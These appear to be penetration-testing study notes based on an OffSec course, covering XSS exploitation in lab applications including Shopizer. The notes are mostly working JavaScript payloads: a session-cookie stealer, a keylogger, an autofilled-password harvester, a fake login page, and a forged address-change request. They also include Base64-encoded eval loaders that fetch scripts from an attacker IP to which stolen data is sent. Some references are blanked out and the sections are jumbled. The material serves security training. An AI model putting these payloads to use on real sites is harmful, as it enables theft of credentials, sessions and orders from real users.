All the content below is based on OffSec's course.
.js files containing pure JavaScript payloads need to be used with a tag that will automatically execute them, e.g. <script>. They cannot be used with Client XSS vulnerabilities that use innerHTML.
Session Hijacking
We can create a malicious JavaScript file and exfiltrate the target's session cookie.
xss.js
// save the value of the cookie in a variable
let cookie = document.cookie
// URL-encode the variable
let encodedCookie = encodeURIComponent(cookie)
// make a GET request to our attacker machine exfiltrating the cookie
fetch("http://192.168.45.214/exfil?data=" + encodedCookie)
We can serve the payload using the same script as above.
Keylogging is useful when our target is the user rather than the application, but it is limited in the sense that only the current user tab is logged. The JavaScript event for keypresses is keydown, which need to be passed into the addEventListener function which also accepts a callback function to run for each keydown event.
xssKeylogger.js
function logKey(event){
fetch("http://192.168.45.214/k?key=" + event.key)
}
// for each keypress, execute the callback function
document.addEventListener('keydown', logKey);
If a password manager application autofills any login form, this information can be extracted via XSS. Password managers search for combination of a username or email input and an input that has type attribute set to password.
xssSavedPasswords.js
// save the body of the document into a var
let body = document.getElementsByTagName("body")[0]
// create the username element
var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";
// create the password element
var p = document.createElement("input");
p.type = "password";
u.style.position = "fixed";
//u.style.opacity = "0";
// append elements to the body
body.append(u)
body.append(p)
// set a GET request after a 5 second timeout
setTimeout(function(){
fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
}, 5000);
Since we have full access to the HTML document, we could replicate an existing login page and change its action attribute to redirect the credentials to us (Figure 3).
We can create a script that fetches the login page, replaces the current page's HTML with the fetched content, and then updates the first form's action URL and method.
xssPhishing.js
// fetch the content of the login page and access the response using 'then'
fetch("login").then(res => res.text().then(data => {
// replace the current HTML content with the fetched HTML content
document.getElementsByTagName("html")[0].innerHTML = data
// update the action attribute to point to the malicious server
document.getElementsByTagName("form")[0].action = "http://192.168.45.214"
// update the method attribute from POST to GET
document.getElementsByTagName("form")[0].method = "get"
}))
<!-- the action to perform -->
<form action="http://192.168.45.214/login" method="get">
<div class="container">
<!-- a label and input field pair for entering a username. -->
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required>
<!-- a label and input field pair for entering a password. -->
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<!-- the submit button -->
<button type="submit">Login</button>
</div>
</form>
If we spin up an HTTP server and test our script, we can see that it is working as intended (Figure 5).
const script = document.createElement('script');
// point the element's source to our malicious payload
script.src = 'http://192.168.45.214/xssPhishingLogin.js';
script.async = true;
document.body.appendChild(script);
In order to place it within our <img>-based XSS payload, we need to convert the above code into a one-liner by removing all the white space.
Finally, we need to create the xssPhishingLogin.js file. We need to use this to essentially replace the HTML code of the List application with the HTML code of our login form. For doing this, we need to convert our login.html code into a one-liner and use innerHTML to make the swap.
Now that everything is in place, by injecting our XSS payload into the vulnerable field, the target user will be redirected to our login form, and we should receive their credentials.
The site tracking.inlanefreight.local accepts a tracking number and generates a PDF document. The tracking number gets reflected in the PDF (Figure 16).
The input field takes any input, not just numbers, and accepts both HTML and JS (Figure 17).
In Shopizer's Products > Handbags tab, we notice the /ref=c:2 string which resembles a URL parameter but it is missing the ?. Inspecting the page's source code, we see that this string is used in multiple URIs as well as in the loadCategoryProducts() method (Figure 12).
We can try to inject a canary and see whether it gets reflected within the loadCategoryProducts() method, and this is indeed the case (Figure 13.1). When we try to escape using a single quote and inject valid JavaScript code, the application adds another single quote at the end of the payload automatically (Figure 13.2).
After trying different things, we find a way to inject and execute our code by using plus signs (+) instead of semicolons (;) (Figure 14).
Payload Creation
xssShopizer.js
alert()
// the final XSS payload
'+eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyLmpzJyk="))+'
Although the XSS payload worked as intended, we get an Error alert right after it (Figure 18). If we repeat the process, we will notice that sometimes the Error comes before our payload, which prevents the payload to be executed.
As we can see via the browser's Console tab, the cause of the Error message might be associated with malformed syntax (Figure 19).
If we wrap our payload with the btoa() method in order to Base64 the whole payload, the message gets away (Figure 20).
Under My Account > Billing & shipping information there is the option Add new address. This POST request includes the customerId parameter, but it appears to be optional (Figure 22).
We can create a JavaScript payload that sends the above request using the target user's cookie, and therefore, changing their address to an address we control so we can redirect their orders.
xssShopizerAddress.js
fetch('http://xss/shop/customer/updateAddress.html',{
// setting the HTTP method
method: 'POST',
// the payload will be hosted on the same domain as the application
// which allows the browser to send the JSESSIONID cookie since the
// request won't be cross-origin
mode: 'same-origin',
credentials: 'same-origin',
headers: {
'Content-Type':'application/x-www-form-urlencoded'
},
body:'customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address'
})
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyQWRkcmVzcy5qcycp")))+'
We can also craft an XSS payload to extract the user's stored credentials.
xssSavedPasswords.js
let body = document.getElementsByTagName("body")[0]
var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";
var p = document.createElement("input");
p.type = "password";
p.style.position = "fixed";
//p.style.opacity = "0";
body.append(u)
body.append(p)
setTimeout(function(){
fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
}, 5000);
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1NhdmVkUGFzc3dvcmRzLmpzJyk=" )))+'
If the cookie has the flag set, JavaScript cannot access it, thus, we can't exfiltrate its value.
Browsers have two types of storage available: and .
This time the application does not have its own login page, so we will have to create one and redirect the target user to it. We can find boilerplate HTML login form code, such as , and remove the unecessary parts for simplicity. We will need to change the action and method atrributes of the form element so that it sends a GET request to our malicious server.
The application uses the method to reconstuct the table (Figure 6), which means that we can't use the <script> tag in order to inject and execute a .js file directly. However, we use the <img> tag.
We need to find a way to execute our payload (xssPhishingLogin.js) via the <img> tag. This can be achieved by within the <img> tag itself. Again, we will remove the unecessary parts from the code, and point it to our malicious server.
The below example is based on HTB's module.
Following and post that use , we can try to achieve LFI (Figure 19).
The example below is based on OffSec's course.
To avoid any potential restrictions that might exist while passing the payload through the URL, we will try and load it from a remote file. When inspecting Shopizer's site map, we notice that it uses the library (Figure 15), thus, we might be to use method.
We will first create a test payload file (xssShopizer.js) to see if everything works as it should. Because we need to inject our XSS payload directly into the URL, we will also need to encode it. We will use the method to Base64 encode the payload, and then use the resulting string within the method in order to decode it (Figure 16).
Finally, in order for our payload to be executed, we will wrap the atob() method with the method. We also need to make sure to use the required ' and + signs (Figure 17).
We have successfully enumerated an XSS vulnerability and constructed an executable payload. Unfortunately, when logging into the application, the JSESSIOND cookie sets the attribute to true (Figure 21). As a result, we won't be able to access this with JavaScript.